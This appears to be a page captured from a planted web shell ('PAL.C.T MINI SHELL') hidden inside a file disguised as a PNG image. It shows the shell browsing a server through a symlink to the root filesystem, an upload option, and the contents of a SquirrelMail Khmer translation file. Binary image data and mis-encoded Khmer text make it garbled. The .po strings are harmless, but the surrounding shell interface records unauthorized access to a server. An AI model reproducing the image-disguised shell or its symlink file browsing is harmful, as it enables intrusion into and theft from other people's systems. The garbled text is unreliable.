‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/restrict_senders.po

# Khmer (km) restrict_senders Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: restrict_senders\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-27 12:25+0200\n"
"PO-Revision-Date: 2009-04-24 09:29+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:158
msgid ""
"We are sorry, but your account has been temporarily disabled due to "
"suspicious activity.  If you feel we have done so by mistake, please contact "
"us immediately to have your account reactivated."
msgstr "យើង​ážáŸ’ញុំ​សូម​ទោស គណនី​របស់​អ្នក​ážáŸ’រូវបាន​បិទ​ជា​បណ្ដោះ​អាសន្ន ដោយសារ​ážáŸ‚សកម្មភាព​មិន​ច្បាស់​លាស់ ។ ប្រសិន​បើ​អ្នក​គិážâ€‹ážáž¶ យើង​បាន​បង្ក​កំហុស សូម​ទាក់ទង​មក​យើង​ážáŸ’ញុំ​ភ្លាម ដើម្បី​ធ្វើ​ឲ្យ​គណនី​របស់​អ្នក​ដំណើរការ​ឡើងវិញ ។"

#: functions.php:211
#, php-format
msgid "Too many outgoing recipients. Please limit number of recipients to %d."
msgstr "អ្នក​ទទួល​ច្រើន​ពáŸáž€Â áŸ” សូម​កំណážáŸ‹â€‹áž…ំនួន​អ្នក​ទទួល​ទៅ %d ។"

#: functions.php:225
msgid ""
"NOTICE: User \"###USERNAME###\" (domain \"###DOMAIN###\") has attempted to "
"send an email with more than their allotted recipients: "
"###NUMBER_RECIPIENTS###\n"
"\n"
"TO: ###TO###\n"
"CC: ###CC###\n"
"BCC: ###BCC###\n"
"BODY: ###BODY###"
msgstr ""
"ចំណាំ ៖ អ្នកប្រើ \"###USERNAME###\" (ដែន \"###DOMAIN###\") បាន​ផ្ញើ​អ៊ីមែល​ទៅ​អ្នក​ទទួល​ច្រើន​ជាង​អ្នក​ទទួល​ដែល​បាន​បែងចែក ៖ "
"###NUMBER_RECIPIENTS###\n"
"\n"
"ជូន​ចំពោះ ៖ ###TO###\n"
"ចម្លង​ជូន ៖ ###CC###\n"
"ចម្លង​ជា​សម្ងាážáŸ‹â€‹áž‡áž¼áž“ ៖ ###BCC###\n"
"ážáž½ážšÂ áŸ– ###BODY###"

#: functions.php:279
#, php-format
msgid ""
"Daily email limit has been reached. Please limit number of emails per day to "
"%d."
msgstr "បាន​កើន​ដល់​ចំនួន​អ៊ីមែល​កំណážáŸ‹â€‹áž”្រចាំ​ážáŸ’ងៃ​ហើយ ។ សូម​កំណážáŸ‹â€‹áž…ំនួន​អ៊ីមែល​ក្នុង​មួយ​ážáŸ’ងៃ​ដល់ %d ។"

#: functions.php:293
msgid ""
"WARNING: User \"###USERNAME###\" (domain \"###DOMAIN###\") has attempted to "
"send more than their allotted number of emails in one day: "
"###NUMBER_MAILS_TODAY###\n"
"\n"
"To allow this user to send mail again today, remove the \"todays_email_count"
"\" setting from their preferences.\n"
"\n"
"TO: ###TO###\n"
"CC: ###CC###\n"
"BCC: ###BCC###\n"
"BODY: ###BODY###"
msgstr ""
"ព្រមាន ៖ អ្នកប្រើ \"###USERNAME###\" (ដែន \"###DOMAIN###\") បាន​ផ្ញើ​​​អ៊ីមែល​ច្រើន​ជាង​ចំនួន​អ៊ីមែល​ដែល​បាន​បែងចែក​​ក្នុង​មួយ​ážáŸ’ងៃ ៖ "
"###NUMBER_MAILS_TODAY###\n"
"\n"
"ដើម្បី​អនុញ្ញាážâ€‹â€‹áž²áŸ’យ​អ្នកប្រើ​នáŸáŸ‡â€‹áž•្ញើ​សំបុážáŸ’រ​ម្ដងទៀážâ€‹áž“ៅ​ážáŸ’ងៃ​នáŸáŸ‡ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"todays_email_count"
"\" áž…áŸáž‰â€‹áž–ី​ចំណង់ចំណូលចិážáŸ’ážâ€‹ážšáž”ស់​ពួកគáŸÂ áŸ”\n"
"\n"
"ជូនចំពោះ ៖ ###TO###\n"
"ចម្លង​ជូន ៖ ###CC###\n"
"ចម្លង​ជា​សម្ងាážáŸ‹â€‹áž‡áž¼áž“ ៖ ###BCC###\n"
"ážáž½ážšÂ áŸ– ###BODY###"

#: functions.php:341
msgid "All recipients are illegal destinations."
msgstr "អ្នកទទួល​ទាំងអស់ គឺ​ជា​ទិសដៅ​មិនážáŸ’រឹមážáŸ’រូវ ។"

#: functions.php:517
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has sent %d mass emails of %d or more "
"recipients in the last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been BANNED.\n"
"\n"
"To un-ban this user, remove the USER_IS_POSSIBLE_SPAMMER setting from their "
"preferences.\n"
"\n"
"TO: %s\n"
"CC: %s\n"
"BCC: %s\n"
"BODY: %s"
msgstr ""
"ចំណាំ ៖ អ្នកប្រើ \"%s\" (ដែន \"%s\") បាន​ផ្ញើ​អ៊ីមែល %d នៃ %d ឬ​អ្នកទទួល​ច្រើន​នៅ​ %d នាទី​ចុងក្រោយ​នោះ ។\n"
"\n"
"áž–áŸáž›ážœáŸáž›áž¶Â áŸ–\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ហាម ។\n"
"\n"
"ដើម្បី​បញ្ឈប់​ការ​ហាម​អ្នកប្រើ​នáŸáŸ‡ គឺ​ážáŸ’រូវយក​ការ​កំណážáŸ‹ USER_IS_POSSIBLE_SPAMMER áž…áŸáž‰â€‹áž–ី​ចំណង់ចំណូលចិážáŸ’ážâ€‹ážšáž”ស់​ពួក​គáŸÂ áŸ”\n"
"\n"
"ជូន​ចំពោះ ៖ %s\n"
"ចម្លង​ជូន ៖ %s\n"
"ចម្លង​ជា​សម្ងាážáŸ‹â€‹áž‡áž¼áž“ ៖ %s\n"
"ážáž½Â áŸ– %s"

#: functions.php:517
#, php-format
msgid " --- BANNED - %s"
msgstr " --- បាន​ហាម - %s"

#: functions.php:1054
#, php-format
msgid ""
"The \"%s\" plugin is not configured correctly.  The file \"%s\" has a syntax "
"error on line %d."
msgstr "កម្មវិធី​ជំនួយ \"%s\" មិនážáŸ’រូវបាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​ážáŸ’រឹមážáŸ’រូវ​ទáŸÂ áŸ” ឯកសារ \"%s\" មាន​កំហុស​វាក្យ​សម្ពáŸáž“្ធ​នៅ​បន្ទាážáŸ‹ %d ។"

#: functions.php:1064 functions.php:1066 functions.php:1091 functions.php:1093
msgid "Message not sent."
msgstr "សារ​មិន​ážáŸ’រូវបាន​ផ្ញើ​ទáŸÂ áŸ”"

#: functions.php:1084
#, php-format
msgid ""
"The \"%s\" plugin is not configured correctly.  The file \"%s\" could not be "
"opened."
msgstr "កម្មវិធី​ជំនួយ \"%s\" មិនážáŸ’រូវ​បាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​ážáŸ’រឹមážáŸ’រូវ​ទáŸÂ áŸ” ឯកសារ \"%s\" មិនអាច​បើក​បាន​ទáŸÂ áŸ”"

#: functions.php:1441
msgid "User account:"
msgstr "គណនី​អ្នកប្រើ ៖"

#: functions.php:1442
msgid "Domain:"
msgstr "ដែន ៖"

#: functions.php:1443
msgid "Timestamp: "
msgstr "ážáŸ‚ម​ពáŸáž›ážœáŸáž›áž¶Â áŸ– "

#: functions.php:1444
msgid "Delete account:"
msgstr "លុប​គណនី ៖"

#: functions.php:1446
msgid "(must be logged into administrative interface)"
msgstr "(ážáŸ’រូវ​ážáŸ‚​ចូល​ទៅ​កាន់​ចំណុចប្រទាក់​អ្នក​គ្រប់គ្រង)"

#: functions.php:1452
msgid "OFFENDING MESSAGE"
msgstr "សារ​មិន​ážáŸ’រឹមážáŸ’រូវ"

#: functions.php:1461
msgid "OFFENDING SERVER ENVIRONMENT"
msgstr "បរិស្ážáž¶áž“​ម៉ាស៊ីន​បម្រើ​មិនážáŸ’រឹមážáŸ’រូវ"

#: functions.php:1485
msgid "[WEBMAIL ABUSE]"
msgstr "[ការ​បំពាន​សំបុážáŸ’រ​បណ្ដាញ]"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚